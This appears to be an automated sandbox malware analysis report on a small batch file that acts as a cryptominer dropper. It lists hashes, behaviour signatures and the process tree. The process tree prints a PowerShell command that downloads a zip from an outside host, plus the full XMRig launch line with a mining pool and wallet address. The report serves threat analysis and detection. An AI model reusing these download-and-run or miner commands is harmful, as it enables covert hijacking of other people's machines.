Analysis

  • max time kernel
    1794s
  • max time network
    1792s
  • platform
    windows10-1703_x64
  • resource
    win10-20231023-en
  • resource tags

    arch:x64arch:x86image:win10-20231023-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10/12/2023, 22:52

General

  • Target

    tesy - Copy (9).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4804
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2364
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4516

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    908898804d05bf2fa1a2deba93920a9f

    SHA1

    51a537d8a44afa48f56863903a2e5aa790f58dfe

    SHA256

    13a0b4cced25a1052551e26b3ed88bf0e73a5ce4e69d490c28102babb03875ac

    SHA512

    52b3820eecab0145dc5f4f132e9db803d35ca8e0a954495e845a78fc47adb6a96d37b338a69e81bd8a23a7f4279b2f172cc597bf2a12534cb5e6dde2df5d4d79

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k1kmy4fn.fco.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    1.1MB

    MD5

    76a719c13d32c0fac09b37f0e92f9aaa

    SHA1

    152fbd151345e175410f3bab81f743965de8e502

    SHA256

    46aafa836193aa47297330045abfe4ba5b57559951769b3320808f78a3bd48e5

    SHA512

    962a0b7cde6abe5d948332d1900890bb695a070323a0456de41bdc0a2102c31f870f98d78a1fa965836b56299dad9d9876312b962be1eab3f263e0650c1c1562

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    573KB

    MD5

    6e65f105c985d1f885556ec3d1be4529

    SHA1

    e5bb9f84b794af2ffc908e4d616041135b739981

    SHA256

    59d25af3c899ef224b6b40e592ea07d39dfc60e0448d0cf800abebfaddd8d3ec

    SHA512

    98258eebd0850c0435b39a8762b33a89299ac456628586bbf23c3e96b4650afeb611f954f046a57e981ca5177ea540d62d5b8454205aea0f5888e45be0b06e72

  • memory/2384-5-0x00007FFCFA6D0000-0x00007FFCFB0BC000-memory.dmp

    Filesize

    9.9MB

  • memory/2384-7-0x0000022CA1260000-0x0000022CA1270000-memory.dmp

    Filesize

    64KB

  • memory/2384-9-0x0000022CA1260000-0x0000022CA1270000-memory.dmp

    Filesize

    64KB

  • memory/2384-10-0x0000022CA14F0000-0x0000022CA1566000-memory.dmp

    Filesize

    472KB

  • memory/2384-25-0x0000022CA1260000-0x0000022CA1270000-memory.dmp

    Filesize

    64KB

  • memory/2384-30-0x00007FFCFA6D0000-0x00007FFCFB0BC000-memory.dmp

    Filesize

    9.9MB

  • memory/2384-4-0x0000022CA11F0000-0x0000022CA1212000-memory.dmp

    Filesize

    136KB

  • memory/4516-128-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-134-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-171-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-170-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-169-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-168-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-103-0x000001F5D73F0000-0x000001F5D7410000-memory.dmp

    Filesize

    128KB

  • memory/4516-104-0x000001F5D8E20000-0x000001F5D8E60000-memory.dmp

    Filesize

    256KB

  • memory/4516-105-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-107-0x000001F5D8E60000-0x000001F5D8E80000-memory.dmp

    Filesize

    128KB

  • memory/4516-106-0x000001F5D7450000-0x000001F5D7470000-memory.dmp

    Filesize

    128KB

  • memory/4516-108-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-109-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-110-0x000001F5D7450000-0x000001F5D7470000-memory.dmp

    Filesize

    128KB

  • memory/4516-111-0x000001F5D8E60000-0x000001F5D8E80000-memory.dmp

    Filesize

    128KB

  • memory/4516-112-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-113-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-114-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-115-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-116-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-117-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-118-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-119-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-120-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-121-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-122-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-123-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-124-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-125-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-126-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-127-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-167-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-129-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-130-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-131-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-132-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-133-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-166-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-135-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-136-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-137-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-138-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-139-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-140-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-141-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-142-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-143-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-144-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-145-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-146-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-147-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-148-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-149-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-150-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-151-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-152-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-153-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-154-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-155-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-156-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-157-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-158-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-159-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-160-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-161-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-162-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-163-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-164-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4516-165-0x00007FF6D9AA0000-0x00007FF6DA5A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4804-38-0x000002036D4B0000-0x000002036D4C0000-memory.dmp

    Filesize

    64KB

  • memory/4804-35-0x00007FFCFA6D0000-0x00007FFCFB0BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4804-36-0x000002036D4B0000-0x000002036D4C0000-memory.dmp

    Filesize

    64KB

  • memory/4804-89-0x000002036D7A0000-0x000002036D7AA000-memory.dmp

    Filesize

    40KB

  • memory/4804-76-0x000002036D930000-0x000002036D942000-memory.dmp

    Filesize

    72KB

  • memory/4804-63-0x000002036D4B0000-0x000002036D4C0000-memory.dmp

    Filesize

    64KB

  • memory/4804-99-0x00007FFCFA6D0000-0x00007FFCFB0BC000-memory.dmp

    Filesize

    9.9MB